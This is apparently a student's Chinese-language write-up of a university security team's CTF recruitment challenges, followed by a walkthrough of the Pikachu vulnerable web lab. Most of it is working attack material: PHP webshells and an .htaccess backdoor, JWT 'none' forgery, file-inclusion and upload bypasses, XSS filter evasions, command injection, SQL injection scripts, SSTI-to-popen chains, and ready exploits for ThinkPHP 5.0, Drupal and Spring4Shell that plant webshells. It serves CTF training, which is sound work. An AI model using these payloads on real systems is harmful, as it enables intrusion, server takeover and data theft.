YuLin 2023 Recruit Writeup

前言(叠个甲先

part1是用word写的,直接黏贴过来量太多就不修改了😭,part2 是用md,可能看起来舒服一点。如果读者看得比较难受,这非常正常,请原谅我的懒惰🙇

part1:

Tutorial

1.http

这里要注意,admin是改cookie里的admin=1!

2.302跳转

查看源代码找到/302.php

Curl -i 找到flag

3.encode

关于decode可以看看这个链接

https://www.cnblogs.com/ruoli-s/p/14206145.html

判断第一个是md5

解密得到Yulin

判断第二个是hex编码

解码得到Sec{we_mu5t_kn0w

第三个是base64

解码得到_c0mm0n

判断第四个是html实体编码

解码得到_enc0d1ngs}

组合一下得到flag

YulinSec{we_mu5t_kn0w_c0mm0n _enc0d1ngs}

4.Method

被提示有很多http
method

拿postman一个个试就试出来了

5.cal-1

源代码进去改下长度就完事

6.cal-2

发现要用post的方法传数据,就完事了

7.cal-3

用python脚本做

我还学了好一会,感觉python脚本是个大问题

import requests
s=requests.Session()
url=’http://43.142.109.233:44504/index.php
r=s.get(url)

res=r.text

a=res.find(“

“)
b=res.find(“/p>”,a)
#找到我们要计算的式子的前后位置
num=res[a+3:b-1]
print(a)
print(b)
print(num)
r=s.post(url,data={‘result’:eval(num)})
print(r.content)

8.https

前言:

经大佬提醒,了解了不少jwt知识

了解到两种主要思路

1.弱口令把key爆出来

2.使用none的方式

由于安装不清楚第一次所需的工具😅,所以采用第二种方法

原理如下所示

本题抓包发现token,于是采用jwt绕过

1.将头部信息的alg值改为none,并进行base64加密

2.将声明部分的admin值改为true,也进行base64加密

3.新组合的JWT应该为头部``.``声明``.(因为头部中的加密方式为none,所以签名部分可以舍去),但又由于=号会与url解码产生歧义,所以需要将=号删除,而Base64URL是支持这种写法的

最终的JWT值为ewogICJhbGciOiAibm9uZSIsCiAgInR5cCI6ICJKV1QiCn0.ewogICJhZG1pbiI6ICIxIiwKICAiaWF0IjogMTY5NDk0OTM0NSwKICAiZXhwIjogMTY5NDk1NjU0NSwKICAianRpIjogIjM0YTczNGEzODAzZGY1NmZlYmIzOTg3MzJlOWQwZDE5Igp9.

4.把token放到cookie里得到flag

LFI

依照提示传参即可

不知道为啥hackbar的post这类题用不了?

那就用postman来post

使用file=php://input + post

再file=php://input + post

得到flag

使用data://text/plain;base64,xxxx(base64编码后的数据)

data://text/plain,

data://text/plain;base64,PD9waHAgc3lzdGVtKCJscyIpPz4=

data://text/plain,

data://text/plain;base64,PD9waHAgc3lzdGVtKCJscyIpPz4=

得到flag

看到提示,直接想到用base64编码转出

file=php://filter/read=convert.base64-encode/resource=flag.php

得到一串base64编码,转码之后即得到flag

看教程绕过file_get_contents($file) 了但是还对原理一知半解

采用第一种方式就拿到flag了

文档里说的很清楚了,话说我自己试的一句话木马就不太好使,还得是图片里的这个好使,然后就生成一句话木马图片呗,然后蚁剑

<?php
fputs(fopen(“shell.php”,'w'),'<?php @eval($_POST[”leon“]);?>

'
); ?>

要注意的是蚁剑访问的目录是生成的shell.php

即为http://43.142.109.233:21005/shell.php

这题花了我大概一天的时间钻研,最终做出来了

参考:LFI 绕过 Session 包含限制 Getshell_通过sessid进行文件写即可,使用 file://localhost/ 进行绕过_zhang三的博客-CSDN博客

先了解session知识吧

Phpinfo先找到session的储存路径

Session自定义一个

然后传一个一句话木马

发现可以控制了

于是果断蚁剑解出

补一个大佬的做法:

思路更清晰一些

XSS

看看这这篇攻略XSS挑战赛解题思路_多崎巡礼的博客-CSDN博客

看源代码发现有个hidden的 name

普普通通构造个playload就完事了

name=<script>alert(1)</script>

这里我本来想用闭合标签来完成

但是发现<被转义了,只能利用  'onmouseover=alert(1)//,不过这里需要用单引号闭合,构造playload

和上题一样,只不过把单引号换成双引号来闭合罢了

第四题发现会把on转成o_n

而且会给中间的东西加双引号

于是上网查攻略,知道要用伪协议

"><iframe src=javascript:alert(1)>

"><a href=javascript:alert(1)>

">
<a href="javascript:alert(1)">zhouzhong</a>

"><a href="javascript:%61lert(1)">zhouzhong</a> //

就做出来了

5.

试了试”>

1
<script>alert(1)</script> //

可能是屏蔽了script,于是思路是双写绕过

"><scriscriptpt>alert(0)</scriscriptpt>//

这些双写也可以

就拿到flag了

用伪协议发现过滤了javascript,于是查攻略吧

javascrip&#x74;:alert(1)

javasc&#x72;ipt:alert1

javasc&#x0072;ipt:alert1

第一次见这种,猜测t_sort那里是隐藏的搜索框

于是看攻略吧

这里只要构造如下playload就行

t_sort=”type=’’text”
onclick = ”alert(1)

复现了一下发现这个双引号”不能用

得用下面的双引号

未解之谜,先放这吧

t_sort="type="text"
onclick = "alert(1)

XSS看攻略愉快的ak了

话说真的不是按这个攻略出题的吗(

RCE

在当前目录下没找,于是 ls /

ping
127.0.0.1;ls / #

找到flag

ping
127.0.0.1;cat /flag_3124131231 #

ping
127.0.0.1;ls #

有waf

试了一下过滤了;|&’`等等

于是用%0a``绕过

ip=127.0.0.1%0als /

再ip=127.0.0.1%0acat
/flag_31241421414

得到flag

试了一下过滤了ls

文件上传

采用了一种新的方式

传一句话木马文件蚁剑后门报错捏

于是火狐禁止js,传一个.php文件上去

路径是复制的图像链接

然后蚁剑后门

考察.htaccess文件

用记事本写这样一个名为.htaccess的文件

注意保存为所有类型

<FilesMatch
“.png”>

  SetHandler application/x-httpd-php

该文件的意思是,只要遇到文件名中包含有”.png”字符

串的,统一按照 php 文件来执行。然后就可以上传一个带一句话木马的文件,例如a_php.gif,会

被当成php执行。该方法其实不是漏洞,是Apache的特性。该方法常用于黑客入侵网站之后,不想

被发现,留一个隐蔽的后门。

然后先上传.htaccess文件,再上次木马.png

然后蚁剑就完事了

上传php文件抓包,修改文件类型为image/png

然后就可以上传了,于是愉快的蚁剑

考察文件头绕过

用winhex

但是这样修改后用蚁剑连接

http://43.142.109.233:30004/upload/muma.png

还是报错,于是再次采用上传php用burp改png的方法

其实也可以换一种生成shell.php的png图片木马

下次再试

然后蚁剑吧

很明显要绕过黑名单这些

但是明显黑名单太少了,这里先用大写绕过罢

然而大写绕过并不可行?

再次尝试双写绕过,成了,于是蚁剑

再次尝试双写

发现不行,添加了一个空格

这次大写绕过又行了?

那就蚁剑吧

提示%00截断

原理如下

照猫画虎就出来了

考察16进制00截断

Burp上传图片木马抓包

在路径后面加一个1.php+,再在hex里找到+对应的编码,并改成00,就跟上题一样了

提示白名单,但是试一下又觉得是黑名单?

双写大写绕过都没用,那试试别的吧

莫名奇妙做出来了?

改成这样

注意蚁剑连接phtml还是小心(为什么

这题要再做一遍

为什么这里多了个空格,怎么复现?

再做了一次为什么又没空格了,而且这里路径为什么不需要大写?

11.二次渲染

合成一个gif木马文件,注意文件头要对

还是不行?那还是找一张真正的gif合成吧

现在行了

下载gif,比对没有改变的地方

然后在不改变的地方插入一句话木马

蚁剑连图片链接老报错

去学了一下

其实用一个文件包含漏洞就能用蚁剑连接

要利用include.php?file=upload/

然后就可以用蚁剑连接了

网页也是可以访问的

提示是利用move_uploaded_file($temp_file,
$img_path)的漏洞,这个函数它有一个特性,会忽略到文件末尾的/.

这样上传,然后burp抓包

把名字改成muma.php/.

蚁剑连接 /upload/muma.php发现可以访问了

顺藤摸瓜找到了原帖(搜索能力也是能力!

直接看原帖吧,哥们代码审计还看不明白

Sql注入

1.普通注入

普普通通的整形闭合

如图所示做完

提示是报错注入

试了一下是整形闭合捏

以下黏贴之后的代码有问题

爆数据库

http://43.142.109.233:20002/?id=-1  and updatexml(1,concat(‘~’,

    substr(

       (select group_concat(schema_name)

       from information_schema.schemata)

    , 1 , 31)

),3)
– a

爆表名

http://43.142.109.233:20002/?id=-1  and updatexml(1,concat(‘~’,

    substr(

       (select group_concat(table_name)

       from information_schema.tables where
table_schema=database())

    , 8 , 31)

),3)
– a

注意这里要取后面的字符才完整

爆列名

http://43.142.109.233:20002/?id=-1  and updatexml(1,concat(‘~’,

    substr(

       (select group_concat(column_name)

       from information_schema.columns where
table_name=’flag’)

    , 1 , 31)

),3)
– a

爆flag

http://43.142.109.233:20002/?id=-1  and updatexml(1,concat(‘~’,

    substr(

       (select group_concat(flag)

       from flag)

    , 10 , 31)

),3)
– a

注意flag太长显示不完全,分段来看吧

布尔盲注

一些基础知识

操作

开搞

试了一下发现是整形形闭合

http://43.142.109.233:20003/?id=1
and length(database())=8

尝试到8发现回显ok,说明数据库名为8

一个个把数据名试出来

推荐二分查找法

http://43.142.109.233:20003/?id=1
and ASCII(SUBSTR(database(),2,1)) = 101

ok查出来是security

发现搞不定啊,这工程量。。。还得上脚本

import requests

只需要修改url 和 两个payload即可

目标网址(不带参数)

url = “http://43.142.109.233:20003/

猜解长度使用的payload

payload_len = “””?id=1 and length(
                    (database())
                ) < {n} “””

枚举字符使用的payload

payload_str = “””?id=1 and ascii(
                    substr(
                       (database())
                    ,{n},1)
                ) = {r} “””

获取长度

def getLength(url, payload):
    length = 1  # 初始测试长度为1
    while True:
        response = requests.get(url= url+payload_len.format(n= length))

        # 页面中出现此内容则表示成功

        if ‘OK’ in response.text:
            print(‘测试长度完成,长度为:’, length,)
            return length;
        else:
            print(‘正在测试长度:’,length)
            length += 1  # 测试长度递增

获取字符

def getStr(url, payload, length):
    str = ‘’  # 初始表名/库名为空

    # 第一层循环,截取每一个字符

    for l in range(1, length+1):

        # 第二层循环,枚举截取字符的每一种可能性

        for n in range(33, 126):
            response = requests.get(url= url+payload_str.format(n= l, r= n))

            # 页面中出现此内容则表示成功

            if ‘OK’ in response.text:
                str+= chr(n)
                print(‘第’, l, ‘个字符猜解成功:’, str)
                break;
    return str;

开始猜解

length = getLength(url, payload_len)
getStr(url, payload_str, length)

每次要改的地方只有标红的区域

database()

爆出来表名为security

这里先手动对当前数据库爆表的数量,很方便

http://43.142.109.233:20003/?id=1
and (select COUNT(*) from information_schema.tables where
table_schema=database())=5

爆出来是5

select
table_name from information_schema.tables where table_schema = database() limit
0,1

select
table_name from information_schema.tables where table_schema = database() limit
0,1

第一个表

referers

select
table_name from information_schema.tables where table_schema = database() limit 1,1

select
table_name from information_schema.tables where table_schema = database() limit 1,1

只改limit后面的数就完事

第二个表

emails

以此推类

第三个表users

第四个表flag

第五个表 就不查了

4.手动爆一些users的列数量

http://43.142.109.233:20003/?id=1
and (select COUNT(*) from information_schema.columns where
table_schema=database() and table_name=”users”)=3

爆出来是3

注意这里要用双引号,我也不知道为啥。。

select
column_name from information_schema.columns where table_schema = database() and
table_name =”users” limit 0,1

select
column_name from information_schema.columns where table_schema = database() and
table_name=”users” limit 0,1

select
column_name from information_schema.columns where table_schema = database() and
table_name=”users” limit 0,1

测出uers第一列:id

测出uers第三列:

测出uers第三列:password

不测了,才发现前面搞错了 flag已经整出来了

那就重复这些步骤找flag的列

测出flag第二列flag

select
flag from flag limit 0,1

终于爆出来了

可能是我脚本的问题,速度是龟速,靠脚本还是花了好久时间,不过只是为了解出题那瞬间的多巴胺分泌带来的快感,也是值得的

找朋友要了个更快的自动化脚本

还是整形闭合

在朋友脚本的基础上改了一下做出来了

不过精确度不高

延时盲注的一些语句:

“1
and if((select count(table_name) from
information_schema.tables where table_schema = ‘database()’) = 1,sleep(2),1)

主要是运用if三元式和sleep的原理

YulinSec{0kfjtXaE8VJxXFG9BjZSy0Yn6dVLLMwbQ3OiaI20}

还不会

Babyurl

考察ssrf

urls=http://0x7F.0.0.1/flag.php

SSTI

1.

1.{{''.__class__}}   # 获得单引号的类型

2.{{''.__class__.__base__}} #获得object

3.{{''.__class__.__base__.__subclasses__()}}#获得基类

这里要写个脚本得到os._wrap_close的键值

4.{{''.__class__.__base__.__subclasses__()[127]}}#这里我们利用的是<class
'os._wrap_close'>类

5.{{''.__class__.__base__.__subclasses__()[127].__init__.__globals__}}#将该类实例化并且全局搜索查找所有的方法、变量和参数

6.{{''.__class__.__base__.__subclasses__()[127].__init__.__globals__['popen']('ls').read()}}#利用popen函数执行命令

7.{{''.__class__.__base__.__subclasses__()[127].__init__.__globals__['popen']('cat flag').read()}}#最后获得flag

不是直接cat,但差不多吧

2.

过滤{{` `用{%print(来代替` `比如` `{%print(''.__class__)%}` `然后按第一题思路就行` `{%print(''.__class__.__base__.__subclasses__()[127]) .__init__.__globals__['popen']('cat /flag').read()%}` `3.` `过滤[],用getitem` `{{().__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(127).__init__.__globals__.__getitem__('popen')('ls').read()}}

{{().__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(127).__init__.__globals__.__getitem__('popen')('cat` `/flag').read()}}

4.

过滤下划线

用16进制编码绕过

{{()['\x5f\x5fclass\x5f\x5f']['\x5f\x5fbase\x5f\x5f']['\x5f\x5fsubclasses\x5f\x5f']()[127]['\x5f\x5finit\x5f\x5f']['\x5f\x5fglobals\x5f\x5f']['popen']('cat` `/flag').read() }}

5.

过滤单双引号

{{[].__class__.__mro__[1].__subclasses__()[127].__init__.__globals__[request.args.a](request.args.b).read()}} 同时get传参?a=popen&b=cat /flag

6.

过滤小数点

{{()['__class__']['__base__']['__subclasses__']()[127]['__init__']['__globals__']['popen']('cat` `/flag')['read']()}}

7.

过滤了一堆关键字

{{()['__cla'+'ss__']['__ba'+'se__']['__subcl'+'asses__']()[127]['__in'+'it__']['__glo'+'bals__']['pop'+'en']('c'+'at` `/fl'+'ag')['re'+'ad']()}}

#

part2:

YuLin 2023 Recruit Writeup part 2

word太难用了,于是part2都用md来写

[Easy]盒武器

picture1

识图出来:武汉理工大学南湖校区心至楼

picture2

在地图附件找武汉长江大桥的公园

试出来:湖北省武汉市汉阳区龟山北路5号龟山风景区

看出题人空间找到10.4到10.5的武汉游玩信息

穷举试出来:2023年10月05日18时

babyphp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");

if (isset($_GET['a']) && isset($_GET['b'])) {
if(($_GET['a'] != $_GET['b']) && (sha1($_GET['a']) == sha1($_GET['b']))){
die('flag1: '.$flag1);
}
else die('a is not equal to b');
}

if ((string)$_GET['Yu'] !== (string)$_GET['lin'] && (md5($_GET['Yu']) === md5($_GET['lin']))) {
eval($_GET['Yu']);
//cat /flag2
}

第二个flag考察fastcoll,用fastcoll生成两个md5相同的字符串,由于有不可见字符,要url编码之后get传参

注意这里根据题目要求,生成文件要用system(‘cat /flag2’);#

#用于截断,eval只执行system(‘cat /flag2’);

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php 
function readmyfile($path){
$fh = fopen($path, "rb");
$data = fread($fh, filesize($path));
fclose($fh);
return $data;
}
$a = urlencode(readmyfile("G:\php\app\php-7.4.5-Win32-vc15-x64\a_msg1.txt"));
$b = urlencode(readmyfile("G:\php\app\php-7.4.5-Win32-vc15-x64\a_msg2.txt"));
if(md5((string)urldecode($a))===md5((string)urldecode($b))){
echo "a:";
echo PHP_EOL;
echo $a;
echo PHP_EOL;
}
if(urldecode($a)!=urldecode($b)){
echo "b:";
echo PHP_EOL;
echo $b;
echo PHP_EOL;
echo "a url 编码的MD5:";
echo PHP_EOL;
echo md5(urldecode($a));
echo PHP_EOL;
echo "a url 编码的MD5:";
echo PHP_EOL;
echo md5(urldecode($b));
echo PHP_EOL;
echo "复制a url 的MD5";
echo PHP_EOL;
echo md5("leon%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%1FU%F8%24%DA%25Q%F8j%FE%21%F9u%3D9%88%08%11%BC9s%97%CC%E1%18%C2%80E%B0%1D%0Cw%A1%EB%FE%BD%CC%CE%1A%8C%0B%C8%F7%02%E3%F1%09o%84%A8%E6n%E0%1F%8E%7B%17l%01W%DF%FD%40eu%D9%E6f%12%AA%98Z%7F%9A%C1%2A%D9i%CB%0CE%F2X%18%8A%CD%FE%1C+%29%AF%07J%7C%F1%BD%8D_%7Bd%D4%DA%B0%87%22%1D%05%D2%99L%05%3F%CA%84%10%B1%B6%D6%C3qr%29%12m%ED%C4%D0%FB");
echo PHP_EOL;
echo "复制b url 的MD5";
echo PHP_EOL;
echo md5("leon%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%1FU%F8%24%DA%25Q%F8j%FE%21%F9u%3D9%88%08%11%BC%B9s%97%CC%E1%18%C2%80E%B0%1D%0Cw%A1%EB%FE%BD%CC%CE%1A%8C%0B%C8%F7%02%E3q%0Ao%84%A8%E6n%E0%1F%8E%7B%17l%01%D7%DF%FD%40eu%D9%E6f%12%AA%98Z%7F%9A%C1%2A%D9i%CB%0CE%F2X%98%8A%CD%FE%1C+%29%AF%07J%7C%F1%BD%8D_%7Bd%D4%DA%B0%87%22%1D%05%D2%99%CC%04%3F%CA%84%10%B1%B6%D6%C3qr%29%12%ED%ED%C4%D0%FB");
$code="echo 1234 ;#efsdghfgj";
eval("$code");
}
1
http://43.142.109.233:2003/?Yu=system%28%27cat+%2Fflag2%27%29%3B%23%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00f%AB%0F%AE%F7%7C%8DQ8%AA%84%A7Z%06%AD%E8%91F%DE%8DL%D5AUE%B27A%8C%06%89w%3D%BB%AD%CF%F2%28Mp%8F%F0%D5%1C%A0%C9%EAZd%DA%F7%7D%8C%05%ED4%9B%ECXE%88%2F%9F%C5%BA%E8%BAX%2F.%DD%B9%BDJ%B3%7C%96G%3C%3B%A7A%C1x8%9B1%B2%AB%C30%B8%A6_%88%A8%D7%BD%EA%E7%9F%043%FE5%40%0C4Q%F8%F9%C3%B2%EFwp%8AQv%3D%C7aq%BFV%F5%86X&lin=system%28%27cat+%2Fflag2%27%29%3B%23%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00f%AB%0F%AE%F7%7C%8DQ8%AA%84%A7Z%06%AD%E8%91F%DE%0DL%D5AUE%B27A%8C%06%89w%3D%BB%AD%CF%F2%28Mp%8F%F0%D5%1C%A0I%EBZd%DA%F7%7D%8C%05%ED4%9B%ECX%C5%88%2F%9F%C5%BA%E8%BAX%2F.%DD%B9%BDJ%B3%7C%96G%3C%3B%A7A%C1%F88%9B1%B2%AB%C30%B8%A6_%88%A8%D7%BD%EA%E7%9F%043%FE5%40%0C4Qx%F9%C3%B2%EFwp%8AQv%3D%C7aq%3FV%F5%86X

[EASY]Script Kiddie

既然当脚本小子我就只求结果了(

thinkphp 5.0

1
/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

drupal

1
2
3
4
5
6
POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1
Host: 121.5.35.176:30003
Content-Type: application/x-www-form-urlencoded
Content-Length: 173

form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=exec&mail[#type]=markup&mail[#markup]=echo "PD9waHAgZXZhbCgkX1JFUVVFU1RbOF0pIDs/Pg==" |base64 -d |tee test.php

配合使用

1
http://121.5.35.176:30003/test.php?8=system('cat /flag');

spring

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import requests

headers={
"suffix": "%>//",
"c1": "Runtime",
"c2": "<%"
}

payload1='/?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{c2}i if("fuck".equals(request.getParameter("pwd"))){ java.io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %{suffix}i&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=fuck&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat='
ip="http://121.5.35.176:30004/"
payload2='/fuck.jsp?pwd=fuck&cmd=id'

try:
U1=requests.get(url=ip+payload1,headers=headers,verify=False,timeout=3)
U2=requests.get(url=ip+payload2,verify=False,timeout=3)
if U2.status_code == 200:
print(f"The VULN CVE-2022-22965 exists, payload

配合

1
http://121.5.35.176:30004/fuck.jsp?pwd=fuck&cmd=cat /flag

绝对音感

wav拖到010editor里,最后一段发现提示:

1
The interval of each byte data is 9 and the first byte is at the beginning of the wav data

c写了个脚本跑出来邮件:

Dear Friend ; Especially for you - this red-hot announcement
! We will comply with all removal requests ! This mail
is being sent in compliance with Senate bill 2116 ;
Title 1 ; Section 303 ! This is NOT unsolicited bulk
mail ! Why work for somebody else when you can become
rich within 81 months . Have you ever noticed nearly
every commercial on television has a .com on in it
and nearly every commercial on television has a .com
on in it . Well, now is your chance to capitalize on
this ! We will help you deliver goods right to the
customer’s doorstep and use credit cards on your website
! You can begin at absolutely no cost to you . But
don’t believe us . Ms Ames who resides in New Jersey
tried us and says “Now I’m rich many more things are
possible” ! This offer is 100% legal . So make yourself
rich now by ordering immediately ! Sign up a friend
and you get half off . Thanks ! Dear Salaryman ; Especially
for you - this amazing intelligence ! If you are not
interested in our publications and wish to be removed
from our lists, simply do NOT respond and ignore this
mail . This mail is being sent in compliance with Senate
bill 2716 , Title 3 , Section 303 ! This is different
than anything else you’ve seen . Why work for somebody
else when you can become rich within 87 days . Have
you ever noticed most everyone has a cellphone and
society seems to be moving faster and faster . Well,
now is your chance to capitalize on this ! WE will
help YOU use credit cards on your website & turn your
business into an E-BUSINESS . You can begin at absolutely
no cost to you ! But don’t believe us ! Mr Ames of
Colorado tried us and says “I’ve been poor and I’ve
been rich - rich is better” ! We are licensed to operate
in all states . Do not delay - order today ! Sign up
a friend and you’ll get a discount of 50% . Thank-you
for your serious consideration of our offer .

然后根据提示可以把垃圾邮件给解密

用这个网站

1
https://www.spammimic.com/decode.cgi

【Mid】MidBypass

提示说了有disable_function,给了一个后门

蚁剑一下,第一个flag直接送了,其他路径看不了

还有一个open basedir

phpinfo先看看


搜了好多关于imagematrick的文件上传漏洞,但是现在还没搞懂写入的png怎么执行命令🥲

蚁剑插件作弊过了,以后有机会要复现一下

pikachu

先部署靶场,我直接放在本地127.0.0.1了

解锁皮卡丘的密码

暴力破解

1.基于表单暴力破解

火狐改下设置抓本地包

burp抓包爆破,爆出来密码123456

2. 基于前端的验证码绕过(on server)

随便试了下密码怎么还是123456……..

先burp抓包,然后发现一次抓包中验证码不用改

就和1一样了

3.基于前端的验证码绕过(on client)

试了一下验证码是前端的,那么抓包直接去掉,和1一样

密码测出来还是123456

4.token防暴破

初见还真没思路,搜索了一下

抓包pitchfork爆破密码和token

如图在extract选中token

如图填入第一个token,并选择递归搜索

成功,密码当然还是12345

XSS

1.反射型xss(get)

试了一堆球星,只认识科比,有点难绷。

试了下限制长度,f12改掉就行,再输入

1
<script>alert(1)</script>

成功弹窗

2.反射性xss(post)

出bug了,我这题出现了登录框

搜索这题本来的样子,然后脑过吧

改成post就是post传参

1
<script>alert(1)</script>

3.存储型xss

也是输入

1
<script>alert(1)</script>

4.DOM型xss

f12看到提示

                function domxss(){
                    var str = document.getElementById("text").value;
                    document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you see?</a>";
                }
                //试试:'><img src="#" onmouseover="alert('xss')">
                //试试:' onclick="alert('xss')">,闭合掉就行

输入

1
' onclick="alert('leon')">

原理就是提前闭合,让href的属性为onclick

5.xss盲打

上下两个框都填上

1
<script>alert(1)</script>

然后根据提示登录留言板后台,就弹窗了

6.xss之过滤

过滤script,大小写绕过

7.xss之htmlspecialchars

specialchars函数会把单双引号和尖括号都转义了,但是试了一下这里没过滤单引号

playload:

1
' onclick='alert(1)

8.xss之href输出

过滤单双引号,用伪协议绕过

1
javascript:alert(1)

9.xss之js输出

提前闭合第一个script

1
’</script><script>alert(1)</script>

CSRF

1.CSRF(get) login

抓包修改个人信息,用burp生成csrf poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://127.0.0.1/pikachu/vul/csrf/csrfget/csrf_get_edit.php">
<input type="hidden" name="sex" value="hacker" />
<input type="hidden" name="phonenum" value="hacker" />
<input type="hidden" name="add" value="hacker" />
<input type="hidden" name="email" value="hacker" />
<input type="hidden" name="submit" value="submit" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>

打开链接:http://burp/show/4/2etstzgrlo1eqv1ef15ihs9u0bxp6ybb

发现成功修改(kobe账户需处于登录状态)

2.CSRF(post)

改成post传参,其他和1相同,不多赘述

3.CSRF Token

遇到token还是不会

搜了一下要用到burp的CSRF Token Tracker插件

添加如图的规则

然后生成poc

SQL-Inject

1.数字型注入

抓包,直接放playload吧

1
2
3
4
5
6
7
id=-1  union select database(),2//爆库名

id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()//爆表名

id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_name='users'//爆列名

id=-1 union select username,password from users//爆账号密码

爆出来了

2.字符型注入

注意闭合,其他和1一样

playload:

1
1union select username,password from users#

3.搜索型注入

只是多了一列

playload:

1
1'union select username,password,1 from pikachu.users#

4. XX型注入

用 ‘) 来闭合

playlaod:

1
1')union selct username,password from users #

5. insert/update注入

没有回显,使用报错注入

playload:

1
2
3
4
5
6
7
1' and extractvalue(1,concat(0x7e,(database()))) and '1'='1 

1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 0,1)),0) and '1'='1

1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1)),0) and '1'='1

1' and updatexml(1,concat(0x7e,(select id from users limit 0,1)),0) and '1'='1

6.Delete注入

还挺新颖的,留言板无法注入,随便输入,然后删除,抓包

抓包发现get传了一个id,那么利用id注入,还是用报错注入

注意:

一些关键字如#,空格需要进行URL格式转换

7.http头注入

根据提示登录抓包,用user-agent进行注入

playlaod:

1
' or updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),1,31),0x7e),1) or '

8.布尔盲注

上python脚本吧,把做sql的题目的脚本捡起来改改

脚本就是方便啊

9.延时盲注

把上面的脚本改改,延时耗时太长了,不赘述了

10. 宽字节注入

lili%df’ or 1=2

继续改布尔盲注的脚本吧

RCE

1.exec “ping”

playload:

1
ping 127.0.0.1 |whoami

2.exec “eval”

playload:

1
phpinfo();

File Inclusion

1.本地文件包含

图片路径可修改,改为../../../../../../windows/win.ini

成功查win.ini文件,那么我们在本地写一个木马,就能通过这种方式用蚁剑连接了

2.远程文件包含

创建一个shell.txt:

1
<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[leon])  ?> ' ); ?>

playload:

1
http://127.0.0.1/pikachu/vul/fileinclude/fi_remote.php?filename=G:\phpstudy_pro\WWW\pikachu\vul\fileinclude\shell.txt&submit=%E6%8F%90%E4%BA%A4

成功生成shell.php,蚁剑连接

不安全的文件下载

1.不安全的文件下载

想找科比的路径,看到了有意思的东西

修改路径

点击成功下载

Unsafe file upload

1.客户端check

这里抓包改后缀或者浏览器关闭js都可以,我选择后者

2.服务端check

这里直接抓包改后缀就行

3.getimagesize()

大小不对的图片会被打回来,先在正常图片中插入一句话木马,但不会执行php语句,只能结合上上关的文件包含漏洞

playload:

1
http://127.0.0.1/pikachu/vul/fileinclude/fi_local.php?filename=../../unsafeupload/uploads/shell.php&submit=%E6%8F%90%E4%BA%A4

Over permission

1.水平越权

在url这里把username改成别的用户

2.垂直越权

登录admin账户,点击添加账户,并且记住url:

1
http://127.0.0.1/pikachu/vul/overpermission/op2/op2_admin_edit.php

登录普通pikachu账户,然后直接复制上面的链接进行添加账户,再登录admin账户,发现成功添加,那么就存在垂直越权。

../../

1.目录遍历

playload:

1
http://127.0.0.1/pikachu/vul/dir/dir_list.php?title=../../../../../../Windows/win.ini

敏感信息泄露

1.find abc

f12找到账户

黄金时代👍我也很喜欢这一段

可以直接修改url得到敏感信息

PHP反序列化

1.PHP反序列化漏洞

没找到反序列化的代码,试了一下给的playload:

1
O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}

发现可以

XXE

1.XXE漏洞

playload:

1
2
3
4
<?xml version="1.0"?> 
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" > ]>
<foo>&xxe;</foo>

url重定向

1.不安全的url跳转

如图修改,点击则跳转百度

SSRF

1.SSRF(curl)

playload:

1
http://127.0.0.1/pikachu/vul/ssrf/ssrf_curl.php?url=file:///c:/Windows/win.ini

2.SSRF(file_get_content)

playload:

1
http://127.0.0.1/pikachu/vul/ssrf/ssrf_fgc.php?file=file:///c:/windows/win.ini